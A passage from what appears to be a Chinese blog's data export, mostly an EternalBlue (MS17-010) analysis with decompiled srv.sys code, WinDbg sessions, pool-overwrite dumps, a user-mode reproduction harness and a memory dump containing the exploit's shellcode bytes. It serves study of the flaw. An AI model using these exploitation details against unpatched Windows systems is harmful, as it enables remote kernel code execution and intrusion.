class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"ow\"\u003eand\u003c/span\u003e \u003cspan class=\"n\"\u003ehave\u003c/span\u003e \u003cspan class=\"n\"\u003eit\u003c/span\u003e \u003cspan class=\"n\"\u003ework\u003c/span\u003e \u003cspan class=\"n\"\u003eboth\u003c/span\u003e \u003cspan class=\"n\"\u003efrom\u003c/span\u003e \u003cspan class=\"n\"\u003ethe\u003c/span\u003e \u003cspan class=\"n\"\u003ecommand\u003c/span\u003e \u003cspan class=\"n\"\u003eline\u003c/span\u003e \u003cspan class=\"ow\"\u003eand\u003c/span\u003e \u003cspan class=\"n\"\u003efrom\u003c/span\u003e \u003cspan class=\"n\"\u003ea\u003c/span\u003e \u003cspan class=\"n\"\u003eweb\u003c/span\u003e \u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003eAs\u003c/span\u003e \u003cspan class=\"n\"\u003efar\u003c/span\u003e \u003cspan class=\"n\"\u003eas\u003c/span\u003e \u003cspan class=\"n\"\u003eI\u003c/span\u003e \u003cspan class=\"n\"\u003ecan\u003c/span\u003e \u003cspan class=\"n\"\u003etell\u003c/span\u003e \u003cspan class=\"n\"\u003ethis\u003c/span\u003e \u003cspan class=\"n\"\u003ewouldn\u003c/span\u003e\u003cspan class=\"s1\"\u003e\u0026#39;t conflict with anything, but somebody at\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"n\"\u003esome\u003c/span\u003e \u003cspan class=\"n\"\u003epoint\u003c/span\u003e \u003cspan class=\"n\"\u003emust\u003c/span\u003e \u003cspan class=\"n\"\u003ehave\u003c/span\u003e \u003cspan class=\"n\"\u003ehad\u003c/span\u003e \u003cspan class=\"n\"\u003ea\u003c/span\u003e \u003cspan class=\"n\"\u003ereason\u003c/span\u003e \u003cspan class=\"k\"\u003efor\u003c/span\u003e \u003cspan class=\"n\"\u003edisallowing\u003c/span\u003e \u003cspan class=\"n\"\u003ethis\u003c/span\u003e\u003cspan class=\"o\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"n\"\u003eRasmus\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e显然，这位开发者是为了方便使用类似 \u003ccode\u003e#!/usr/local/bin/php-cgi -d include_path=/path\u003c/code\u003e 的写法来进行测试，认为不应该限制php-cgi接受命令行参数，而且这个功能不和其他代码有任何冲突。\u003c/p\u003e","title":"PHP-CGI远程代码执行漏洞（CVE-2012-1823）分析"},{"content":"环境 EXPLOIT: Eternalblue-2.2.0.exe\nTARGET: win7 sp1 32bits srv.sys 6.1.7601.17514 srvnet.sys 6.1.7601.17514\nPATCH: MS17-010\n漏洞原理 srv.sys在处理 SrvOs2FeaListSizeToNt 的时候逻辑不正确导致越界拷贝。我们首先看下漏洞的触发点：\nunsigned int __fastcall SrvOs2FeaToNt(int a1, int a2) { int v4; // edi@1 _BYTE *v5; // edi@1 unsigned int result; // eax@1 v4 = a1 + 8; *(_BYTE *)(a1 + 4) = *(_BYTE *)a2; *(_BYTE *)(a1 + 5) = *(_BYTE *)(a2 + 1); *(_WORD *)(a1 + 6) = *(_WORD *)(a2 + 2); _memmove((void *)(a1 + 8), (const void *)(a2 + 4), *(_BYTE *)(a2 + 1)); v5 = (_BYTE *)(*(_BYTE *)(a1 + 5) + v4); *v5++ = 0; _memmove(v5, (const void *)(a2 + 5 + *(_BYTE *)(a1 + 5)), *(_WORD *)(a1 + 6)); //这里产生的越界覆盖 result = (unsigned int)\u0026amp;v5[*(_WORD *)(a1 + 6) + 3] \u0026amp; 0xFFFFFFFC; *(_DWORD *)a1 = result - a1; return result; } 发生越界的地方见上面第二个 memmove。调试的时候可以这样下断点：\nkd\u0026gt; u srv!SrvOs2FeaToNt+0x4d srv!SrvOs2FeaToNt+0x4d: 9877b278 ff15e0a07698 call dword ptr [srv!_imp__memmove (9876a0e0)] 9877b27e 0fb74606 movzx eax,word ptr [esi+6] 9877b282 8d441803 lea eax,[eax+ebx+3] 9877b286 83e0fc and eax,0FFFFFFFCh 9877b289 83c418 add esp,18h 9877b28c 8bc8 mov ecx,eax 9877b28e 2bce sub ecx,esi 9877b290 5f pop edi //最后一次越界的拷贝的长度是0xa8 ba e1 srv!SrvOs2FeaToNt+0x4d \u0026#34;.if(poi(esp+8) != a8){gc} .else {}\u0026#34; 这么设断点的原因是最后一次越界的拷贝的长度是0xa8,断下来后可以发现：\nkd\u0026gt; dd esp 99803b38 88c8dff9 a3fc203a 000000a8 88c8dff8 99803b48 a3fc2039 00000000 a3fb20d8 a3fc2035 99803b58 a3fd2030 99803b7c 9877b603 88c8dff0 99803b68 a3fc2035 88307360 a3fb20b4 a3fb2008 99803b78 a3fc2035 99803bb4 98794602 88c8dff0 99803b88 99803bbc 99803ba8 99803bac 88307360 99803b98 a3fb2008 00000002 a3fb20b4 a3fb20d8 99803ba8 00010fe8 00000000 00000000 99803c00 kd\u0026gt; !pool 88c8dff9 Pool page 88c8dff9 region is Nonpaged pool *88c7d000 : large page allocation, tag is LSdb, size is 0x11000 bytes Pooltag LSdb : SMB1 data buffer, Binary : srv.sys kd\u0026gt; !pool 88c8e009 Pool page 88c8e009 region is Nonpaged pool 88c8e000 size: 8 previous size: 0 (Free) .... 88c8e008 doesn\u0026#39;t look like a valid small pool allocation, checking to see if the entire page is actually part of a large page allocation... *88c8e000 : large page allocation, tag is LSbf, size is 0x11000 bytes Pooltag LSbf : SMB1 buffer descriptor or srvnet allocation, Binary : srvnet.sys kd\u0026gt; ? 88c7d000 +11000 Evaluate expression: -2000101376 = 88c8e000 kd\u0026gt; ? 88c8dff9 +a8 Evaluate expression: -2000101215 = 88c8e0a1 //这里明显越界了。 我们可以从上面的调试记录看到明显的越写拷贝操作。可以看到被覆盖的是SMB1的buffer是有srvnet.sys分配的。这里exploit精心布局好的，是通过pool喷射的将两个pool连接在一起的。覆盖后面的这个pool有啥用后面会提到。 有同学会说”这只是现象,漏洞真正的成因在哪里呢？”。往下看：\nunsigned int __fastcall SrvOs2FeaListSizeToNt(int pOs2Fea) { unsigned int v1; // edi@1 int Length; // ebx@1 int pBody; // esi@1 unsigned int v4; // ebx@1 int v5; // ecx@3 int v8; // [sp+10h] [bp-8h]@3 unsigned int v9; // [sp+14h] [bp-4h]@1 v1 = 0; Length = *(_DWORD *)pOs2Fea; pBody = pOs2Fea + 4; v9 = 0; v4 = pOs2Fea + Length; while ( pBody \u0026lt; v4 ) { if ( pBody + 4 \u0026gt;= v4 || (v5 = *(_BYTE *)(pBody + 1) + *(_WORD *)(pBody + 2), v8 = *(_BYTE *)(pBody + 1) + *(_WORD *)(pBody + 2), v5 + pBody + 5 \u0026gt; v4) ) { // // 注意这里修改了Os2Fea的Length，自动适应大小 // 本来是一个DWORD为什么强制转换成WORD????? // 初始值是0x10000,最终变成了0x1ff5d // *(_WORD *)pOs2Fea = pBody - pOs2Fea; return v1; } if ( RtlULongAdd(v1, (v5 + 0xC) \u0026amp; 0xFFFFFFFC, \u0026amp;v9) \u0026lt; 0 ) return 0; v1 = v9; pBody += v8 + 5; } return v1; } unsigned int __fastcall SrvOs2FeaListToNt(int pOs2Fea, int *pArgNtFea, int *a3, _WORD *a4) { __int16 v5; // bx@1 unsigned int Size; // eax@1 NTFEA *pNtFea; // ecx@3 int pOs2FeaBody; // esi@9 int v10; // edx@9 unsigned int v11; // esi@14 int v12; // [sp+Ch] [bp-Ch]@11 unsigned int v14; // [sp+20h] [bp+8h]@9 v5 = 0; Size = SrvOs2FeaListSizeToNt(pOs2Fea); *a3 = Size; if ( !Size ) { *a4 = 0; return 0xC098F0FF; } pNtFea = (NTFEA *)SrvAllocateNonPagedPool(Size, 0x15); *pArgNtFea = (int)pNtFea; if ( pNtFea ) { pOs2FeaBody = pOs2Fea + 4; v10 = (int)pNtFea; v14 = pOs2Fea + *(_DWORD *)pOs2Fea - 5; if ( pOs2Fea + 4 \u0026gt; v14 ) { LABEL_13: if ( pOs2FeaBody == pOs2Fea + *(_DWORD *)pOs2Fea ) { *(_DWORD *)v10 = 0; return 0; } v11 = 0xC0000001; *a4 = v5 - pOs2Fea; } else { while ( !(*(_BYTE *)pOs2FeaBody \u0026amp; 0x7F) ) { v12 = (int)pNtFea; v5 = pOs2FeaBody; pNtFea = (NTFEA *)SrvOs2FeaToNt(pNtFea, pOs2FeaBody); pOs2FeaBody += *(_BYTE *)(pOs2FeaBody + 1) + *(_WORD *)(pOs2FeaBody + 2) + 5; // // 由于SrvOs2FeaListSizeToNt将pOs2Fea的Length改大了。 // 而且变得大了不少，所以这里的判读就没有什么意义了。最终导致越界的产生。 // if ( pOs2FeaBody \u0026gt; v14 ) { v10 = v12; goto LABEL_13; } } *a4 = pOs2FeaBody - pOs2Fea; v11 = 0xC000000D; } SrvFreeNonPagedPool(*pArgNtFea); return v11; } if ( BYTE1(WPP_GLOBAL_Control-\u0026gt;Flags) \u0026gt;= 2u \u0026amp;\u0026amp; WPP_GLOBAL_Control-\u0026gt;Characteristics \u0026amp; 1 \u0026amp;\u0026amp; KeGetCurrentIrql() \u0026lt; 2u ) { _DbgPrint(\u0026#34;SrvOs2FeaListToNt: Unable to allocate %d bytes from nonpaged pool.\u0026#34;, *a3, 0); _DbgPrint(\u0026#34;\\n\u0026#34;); } return 0xC0000205; } 首先 SrvOs2FeaListToNt 首先调用 SrvOs2FeaListSizeToNt 计算pNtFea的大小。这里注意了 SrvOs2FeaListSizeToNt 函数会修改原始的pOs2Fea中的Length大小,本来Length是一个DWORD, 代码还强制转换成了WORD,不能不让人联想一些事。然后以计算出来的Length来分配pNtFea.最后调用 SrvOs2FeaToNt 来实现转换。 SrvOs2FeaToNt 后面的判断就有问题了。这里还不止一个问题。 1. 转换完成后，增加pOs2FeaBody然后比较。正确的逻辑难道不应该是先判断再转换吗？ 2. 由于 SrvOs2FeaListSizeToNt 中改变了pOs2Fea的length的值，这里使用变大后的值做比较，肯定会越界。\n为了方便同学们调试，我把代码扣出来了。大家可以在环3围观下这段代码。\n#include \u0026lt;windows.h\u0026gt; signed int RtlULongAdd(unsigned int a1, int a2, unsigned int *a3) { unsigned int v3; // edx@1 signed int result; // eax@2 v3 = a1 + a2; if (v3 \u0026lt; a1) { *a3 = -1; result = -1073741675; } else { *a3 = v3; result = 0; } return result; } unsigned int SrvOs2FeaListSizeToNt(PUCHAR pOs2Fea) { unsigned int v1; // edi@1 int Length; // ebx@1 PUCHAR pBody; // esi@1 PUCHAR v4; // ebx@1 int v5; // ecx@3 int v8; // [sp+10h] [bp-8h]@3 unsigned int v9; // [sp+14h] [bp-4h]@1 v1 = 0; Length = *(DWORD*)pOs2Fea; pBody = pOs2Fea + 4; v9 = 0; v4 = pOs2Fea + Length; while (pBody \u0026lt; v4) { if (pBody + 4 \u0026gt;= v4 || (v5 = *(BYTE *)(pBody + 1) + *(WORD *)(pBody + 2), v8 = *(BYTE *)(pBody + 1) + *(WORD *)(pBody + 2), v5 + pBody + 5 \u0026gt; v4)) { *(WORD *)pOs2Fea = pBody - pOs2Fea; return v1; } if (RtlULongAdd(v1, (v5 + 0xC) \u0026amp; 0xFFFFFFFC, \u0026amp;v9) \u0026lt; 0) return 0; v1 = v9; pBody += v8 + 5; } return v1; } PUCHAR gpBuffer = NULL; ULONG guSize = 0; PUCHAR SrvOs2FeaToNt(PUCHAR pNtFea, PUCHAR pOs2FeaBody) { PUCHAR pBody; // edi@1 BYTE *pNtBodyStart; // edi@1 PUCHAR result; // eax@1 pBody = pNtFea + 8; *(BYTE *)(pNtFea + 4) = *(BYTE *)pOs2FeaBody; *(BYTE *)(pNtFea + 5) = *(BYTE *)(pOs2FeaBody + 1); *(WORD *)(pNtFea + 6) = *(WORD *)(pOs2FeaBody + 2); memcpy((void *)(pNtFea + 8), (const void *)(pOs2FeaBody + 4), *(BYTE *)(pOs2FeaBody + 1)); pNtBodyStart = (BYTE *)(*(BYTE *)(pNtFea + 5) + pBody); *pNtBodyStart++ = 0; if ((pNtBodyStart + *(WORD *)(pNtFea + 6)) \u0026gt; (gpBuffer + guSize)){ __debugbreak(); } memcpy(pNtBodyStart, (const void *)(pOs2FeaBody + 5 + *(BYTE *)(pNtFea + 5)), *(WORD *)(pNtFea + 6)); result = (PUCHAR)((ULONG_PTR)\u0026amp;pNtBodyStart[*(WORD *)(pNtFea + 6) + 3] \u0026amp; 0xFFFFFFFC); *(DWORD *)pNtFea = result - pNtFea; static int j = 0; printf(\u0026#34;j=%d\\n\u0026#34;, j++); return result; } int main() { FILE* pFile = fopen(\u0026#34;dump.bin\u0026#34;, \u0026#34;r+b\u0026#34;); fseek(pFile, 0, SEEK_END); ULONG uSize = (ULONG)ftell(pFile); fseek(pFile, 0, SEEK_SET); PUCHAR pOs2Fea = (PUCHAR)malloc(uSize); fread(pOs2Fea, 1, uSize, pFile); fclose(pFile); ULONG uFixSize = SrvOs2FeaListSizeToNt(pOs2Fea); PUCHAR pOs2FeaBody; PUCHAR pNtFea = (PUCHAR)malloc(uFixSize); PUCHAR v10; PUCHAR v14; PUCHAR v12; PUCHAR v5; LONG v11; PUCHAR pNtFeaEnd = pNtFea + uFixSize; gpBuffer = pNtFea; guSize = uFixSize; if (pNtFea) { pOs2FeaBody = pOs2Fea + 4; v10 = pNtFea; v14 = pOs2Fea + *(DWORD *)pOs2Fea - 5; if (pOs2Fea + 4 \u0026gt; v14) { LABEL_13: if (pOs2FeaBody == pOs2Fea + *(DWORD *)pOs2Fea) { *(DWORD *)v10 = 0; return 0; } v11 = 0xC0000001; //*a4 = v5 - pOs2Fea; } else{ while (!(*(BYTE *)pOs2FeaBody \u0026amp; 0x7F)) { v12 = pNtFea; v5 = pOs2FeaBody; pNtFea = SrvOs2FeaToNt(pNtFea, pOs2FeaBody); pOs2FeaBody += *(BYTE *)(pOs2FeaBody + 1) + *(WORD *)(pOs2FeaBody + 2) + 5; if (pOs2FeaBody \u0026gt; v14) { v10 = v12; goto LABEL_13; } } //*a4 = pOs2FeaBody - pOs2Fea; v11 = 0xC000000D; } return v11; } return 0; } 看到我加了个 __debugbreak 的地方，断在那里就说明溢出了 dumo.bin的内容为处理最后触发漏洞的数据包。最后我会给大家带上。 大家也可以自己抓demp.bin的内容，方法如下：\nkd\u0026gt; u SrvOs2FeaListToNt srv!SrvOs2FeaListToNt: 9877b565 8bff mov edi,edi 9877b567 55 push ebp 9877b568 8bec mov ebp,esp 9877b56a 51 push ecx 9877b56b 8365fc00 and dword ptr [ebp-4],0 9877b56f 56 push esi 9877b570 57 push edi 9877b571 8b7d08 mov edi,dword ptr [ebp+8] 9877b574 57 push edi 9877b575 e82effffff call srv!SrvOs2FeaListSizeToNt (9877b4a8) kd\u0026gt; ba e1 9877b575 kd\u0026gt; g Breakpoint 0 hit srv!SrvOs2FeaListToNt+0x10: 9877b575 e82effffff call srv!SrvOs2FeaListSizeToNt (9877b4a8) kd\u0026gt; !pool edi Pool page a3fd10d8 region is Paged pool *a3fd1000 : large page allocation, tag is LStr, size is 0x11000 bytes Pooltag LStr : SMB1 transaction, Binary : srv.sys kd\u0026gt; .writemem 1.bin a3fd10d8 l0x11000-d8 漏洞利用 我们先来看pool数据覆盖的情况。\n覆盖前\n8d1aa000 00 10 01 00 00 00 00 00 58 00 00 00 70 ........X...p 8d1aa00d 09 11 95 08 00 00 00 08 2f 1f 9f 08 2f ......../.../ 8d1aa01a 1f 9f 60 a1 1a 8d a0 0e 01 00 80 00 00 ..`.......... 8d1aa027 00 3c a0 1a 8d 00 00 00 00 f7 ff 00 00 ............. 8d1aa034 10 a0 1a 8d a4 a0 1a 8d 00 00 00 00 60 ............` 8d1aa041 00 04 10 00 00 00 00 60 a1 1a 8d 00 a0 .......`..... 8d1aa04e 1a 8d a0 0e 01 00 60 01 00 00 d5 8e 01 ......`...... 8d1aa05b 00 d4 8e 01 00 13 8d 01 00 92 6f 00 00 ..........o.. 8d1aa068 11 36 01 00 10 6a 00 00 4f 9a 03 00 8e .6...j..O.... 8d1aa075 4d 01 00 4d d6 00 00 0c 6f 00 00 4b 71 M..M....o..Kq 8d1aa082 00 00 8a 99 03 00 c9 6d 00 00 c8 70 00 .......m...p. 8d1aa08f 00 c7 69 00 00 86 35 01 00 05 94 03 00 ..i...5...... 8d1aa09c 70 09 11 95 28 00 00 00 00 00 00 00 64 p...(.......d 8d1aa0a9 00 00 00 70 09 11 95 38 00 00 00 00 00 ...p...8..... 8d1aa0b6 00 00 a0 0e 01 00 ff 0f 00 00 28 a5 00 ..........(.. 8d1aa0c3 00 70 09 11 95 30 a5 00 00 70 09 11 95 .p...0...p... 8d1aa0d0 38 a5 00 00 70 09 11 95 40 a5 00 00 70 8...p...@...p 8d1aa0dd 09 11 95 48 a5 00 00 70 09 11 95 50 a5 ...H...p...P. 8d1aa0ea 00 00 70 09 11 95 58 a5 00 00 70 09 11 ..p...X...p.. 8d1aa0f7 95 f0 04 00 00 70 09 11 95 f8 04 00 00 .....p....... 8d1aa104 70 09 11 95 00 05 00 00 70 09 11 95 4e p.......p...N 8d1aa111 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e NNNNNNNNNNNNN 8d1aa11e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e NNNNNNNNNNNNN 8d1aa12b 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e NNNNNNNNNNNNN 8d1aa138 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e NNNNNNNNNNNNN 8d1aa145 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e NNNNNNNNNNNNN 8d1aa152 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e NNNNNNNNNNNNN 8d1aa15f 4e fe 53 4d 42 00 00 00 00 00 00 00 00 N.SMB........ 覆盖后\n8d1aa000 00 00 00 00 00 00 00 00 ff ff 00 00 00 ............. 8d1aa00d 00 00 00 ff ff 00 00 00 00 00 00 00 00 ............. 8d1aa01a 00 00 00 00 00 00 00 00 00 00 00 00 00 ............. 8d1aa027 00 00 f1 df ff 00 00 00 00 00 00 00 00 ............. 8d1aa034 20 f0 df ff 00 f1 df ff ff ff ff ff 60 ...........` 8d1aa041 00 04 10 00 00 00 00 80 ef df ff 00 00 ............. 8d1aa04e 00 00 10 00 d0 ff ff ff ff ff 18 01 d0 ............. 8d1aa05b ff ff ff ff ff 00 00 00 00 00 00 00 00 ............. 8d1aa068 00 00 00 00 00 00 00 00 60 00 04 10 00 ........`.... 8d1aa075 00 00 00 00 00 00 00 00 00 00 00 90 ff ............. 8d1aa082 cf ff ff ff ff ff 00 00 00 00 00 00 00 ............. 8d1aa08f 00 80 10 00 00 00 00 00 00 00 00 00 00 ............. 8d1aa09c 00 00 00 00 4b 00 00 00 00 00 00 00 64 ....K.......d 8d1aa0a9 00 00 00 70 09 11 95 38 00 00 00 00 00 ...p...8..... 8d1aa0b6 00 00 a0 0e 01 00 ff 0f 00 00 28 a5 00 ..........(.. 8d1aa0c3 00 70 09 11 95 30 a5 00 00 70 09 11 95 .p...0...p... 8d1aa0d0 38 a5 00 00 70 09 11 95 40 a5 00 00 70 8...p...@...p 8d1aa0dd 09 11 95 48 a5 00 00 70 09 11 95 50 a5 ...H...p...P. 8d1aa0ea 00 00 70 09 11 95 58 a5 00 00 70 09 11 ..p...X...p.. 8d1aa0f7 95 f0 04 00 00 70 09 11 95 f8 04 00 00 .....p....... 8d1aa104 70 09 11 95 00 05 00 00 70 09 11 95 4e p.......p...N 8d1aa111 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e NNNNNNNNNNNNN 8d1aa11e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e NNNNNNNNNNNNN 8d1aa12b 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e NNNNNNNNNNNNN 8d1aa138 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e NNNNNNNNNNNNN 8d1aa145 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e NNNNNNNNNNNNN 8d1aa152 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e 4e NNNNNNNNNNNNN 8d1aa15f 4e fe 53 4d 42 00 00 00 00 00 00 00 00 N.SMB........ 在将下面SrvNet分配的对象覆盖前面的a1字节后。由于被覆盖的pool里面存在用于接收数据的buffer的指针。像上面描述的 0x8d1aa034(0xffd0f020) 这个地方的指针（我发懒了没有去确定到底是哪一个）。srvnet在接收包的时候就会在固定 0xffdff000 这个地址存入客户端发送来的数据。 0xffdff0000 这个地址是什么？wrk中有定义，如下：\n// addressed from 0xffdf0000 - 0xffdfffff are reserved for the system // begin_ntddk begin_ntosp #define KI_USER_SHARED_DATA 0xffdf0000 #define SharedUserData ((KUSER_SHARED_DATA * const) KI_USER_SHARED_DATA) 这块内存是系统预留的，里面保存了系统的一些信息，像时钟，版本，配置之类。注意这个地址在win10下是不可以执行的。所以这个利用方法在win10下是不可用的。\nwin7 kd\u0026gt; !pte ffdff000 VA ffdff000 PDE at C0603FF0 PTE at C07FEFF8 contains 000000000018A063 contains 00000000001E3163 pfn 18a ---DA--KWEV pfn 1e3 -G-DA--KWEV //E表示可执行 覆盖完之后是这样。\nkd\u0026amp;gt; db ffdff000 l1000 ffdff000 00 00 00 00 00 00 00 00-03 00 00 00 00 00 00 00 ................ ffdff010 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ ffdff020 00 00 00 00 00 00 00 00-03 00 00 00 00 00 00 00 ................ ffdff030 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ ffdff040 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ ffdff050 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ ffdff060 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ ffdff070 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ ffdff080 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ ffdff090 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ ffdff0a0 b0 00 d0 ff ff ff ff ff-b0 00 d0 ff ff ff ff ff ................ ffdff0b0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ ffdff0c0 c0 f0 df ff c0 f0 df ff-00 00 00 00 00 00 00 00 ................ ffdff0d0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ ffdff0e0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ ffdff0f0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ ffdff100 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ ffdff110 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ ffdff120 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ ffdff130 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ ffdff140 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ ffdff150 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ ffdff160 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ ffdff170 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ ffdff180 00 00 00 00 00 00 00 00-00 00 00 00 90 f1 df ff ................ ffdff190 00 00 00 00 f0 f1 df ff-00 00 00 00 00 00 00 00 ................ ffdff1a0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ ffdff1b0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ ffdff1c0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ ffdff1d0 00 00 00 00 00 00 00 00-f0 01 d0 ff ff ff ff ff ................ ffdff1e0 00 00 00 00 00 00 00 00-00 02 d0 ff ff ff ff ff ................ ffdff1f0 00 31 c0 40 90 74 08 e8-09 00 00 00 c2 24 00 e8 .1.@.t.......$.. ffdff200 a7 00 00 00 c3 e8 01 00-00 00 eb 90 5b b9 76 01 ............[.v. ffdff210 00 00 0f 32 a3 fc ff df-ff 8d 43 17 31 d2 0f 30 ...2......C.1..0 ffdff220 c3 b9 23 00 00 00 6a 30-0f a1 8e d9 8e c1 64 8b ..#...j0......d. ffdff230 0d 40 00 00 00 8b 61 04-ff 35 fc ff df ff 60 9c .@....a..5....`. ffdff240 6a 23 52 9c 6a 02 83 c2-08 9d 80 4c 24 01 02 6a j#R.j......L$..j ffdff250 1b ff 35 04 03 df ff 6a-00 55 53 56 57 64 8b 1d ..5....j.USVWd.. ffdff260 1c 00 00 00 6a 3b 8b b3-24 01 00 00 ff 33 31 c0 ....j;..$....31. ffdff270 48 89 03 8b 6e 28 6a 01-83 ec 48 81 ed 9c 02 00 H...n(j...H..... ffdff280 00 a1 fc ff df ff b9 76-01 00 00 31 d2 0f 30 fb .......v...1..0. ffdff290 e8 11 00 00 00 fa 64 8b-0d 40 00 00 00 8b 61 04 ......d..@....a. ffdff2a0 83 ec 28 9d 61 c3 e9 ef-00 00 00 b9 82 00 00 c0 ..(.a........... ffdff2b0 0f 32 48 bb f8 0f d0 ff-ff ff ff ff 89 53 04 89 .2H..........S.. ffdff2c0 03 48 8d 05 0a 00 00 00-48 89 c2 48 c1 ea 20 0f .H......H..H.. . 0xffdff1f1 处为shellcode.最后在接收完成后，最终调到 srvnet!SrvNetWskReceiveComplete.在这个函数中会调用最终的shellcode。可以这么下断点:\nsrvnet!SrvNetWskReceiveComplete: 986e9569 8bff mov edi,edi 986e956b 55 push ebp 986e956c 8bec mov ebp,esp 986e956e 8b450c mov eax,dword ptr [ebp+0Ch] 986e9571 8b4818 mov ecx,dword ptr [eax+18h] 986e9574 53 push ebx 986e9575 8b581c mov ebx,dword ptr [eax+1Ch] 986e9578 56 push esi 986e9579 8b7510 mov esi,dword ptr [ebp+10h] 986e957c 57 push edi 986e957d 8b7e24 mov edi,dword ptr [esi+24h] 986e9580 50 push eax 986e9581 894d0c mov dword ptr [ebp+0Ch],ecx 986e9584 c6451300 mov byte ptr [ebp+13h],0 986e9588 ff1518106f98 call dword ptr [srvnet!_imp__IoFreeIrp (986f1018)] 986e958e 33c0 xor eax,eax 986e9590 39450c cmp dword ptr [ebp+0Ch],eax 986e9593 7553 jne srvnet!SrvNetWskReceiveComplete+0x7f (986e95e8) kd\u0026gt; .reload srvnet.sys kd\u0026gt; ba e1 srvnet!SrvNetWskReceiveComplete+0x13 \u0026#34;.if(poi(esi+0x24) == ffdff020) {} .else {gc}\u0026#34; 最终调用到shellcode的调用栈为：\n# ChildEBP RetAddr Args to Child WARNING: Frame IP not in any known module. Following frames may be wrong. 00 83f6c2e0 986ea290 00000000 00000000 00000420 0xffdff1f1 01 83f6c330 986e8204 ffdff020 00001068 00001068 srvnet!SrvNetCommonReceiveHandler+0x94 (FPO: [Non-Fpo]) 02 83f6c370 986e95db ffdff020 00000001 870cb26b srvnet!SrvNetIndicateData+0x73 (FPO: [Non-Fpo]) 03 83f6c38c 83ebaf83 00000000 02000000 019bd010 srvnet!SrvNetWskReceiveComplete+0x72 (FPO: [Non-Fpo]) 04 83f6c3d0 8998db8c 865fd020 83f6c454 89661c8a nt!IopfCompleteRequest+0x128 05 83f6c3dc 89661c8a 870cb1f8 00000000 00001068 afd!WskProTLReceiveComplete+0x5e (FPO: [Non-Fpo]) 06 83f6c454 8964d839 865fd020 00000000 8841a608 tcpip!TcpCompleteClientReceiveRequest+0x1c (FPO: [Non-Fpo]) 07 83f6c4c0 8964d8be 8841a608 8841a700 00000000 tcpip!TcpFlushTcbDelivery+0x1f6 (FPO: [Non-Fpo]) 08 83f6c4dc 8965af7f 8841a608 00000000 83f6c5d0 tcpip!TcpFlushRequestReceive+0x1c (FPO: [Non-Fpo]) 09 83f6c518 8965ae47 8841a608 8841a608 83f6c5a8 tcpip!TcpDeliverFinToClient+0x37 (FPO: [Non-Fpo]) 0a 83f6c528 896abfc1 8841a608 83f6c688 8841a608 tcpip!TcpAllowFin+0x86 (FPO: [Non-Fpo]) 0b 83f6c5a8 896aa5a5 86f8c078 8841a608 83f6c5d0 tcpip!TcpTcbCarefulDatagram+0x16f2 (FPO: [Non-Fpo]) 0c 83f6c614 8968da38 86f8c078 8841a608 00f6c688 tcpip!TcpTcbReceive+0x22d (FPO: [Non-Fpo]) 0d 83f6c67c 8968e23a 8656b9b8 86f9657c 86f965f0 tcpip!TcpMatchReceive+0x237 (FPO: [Non-Fpo]) 0e 83f6c6cc 8965dd90 86f8c078 86f9600c 00003d08 tcpip!TcpPreValidatedReceive+0x263 (FPO: [Non-Fpo]) 0f 83f6c6e0 89693396 83f6c6fc 00000011 86f96008 tcpip!TcpNlClientReceivePreValidatedDatagrams+0x15 (FPO: [Non-Fpo]) 10 83f6c704 896938dd 83f6c710 00000000 00000011 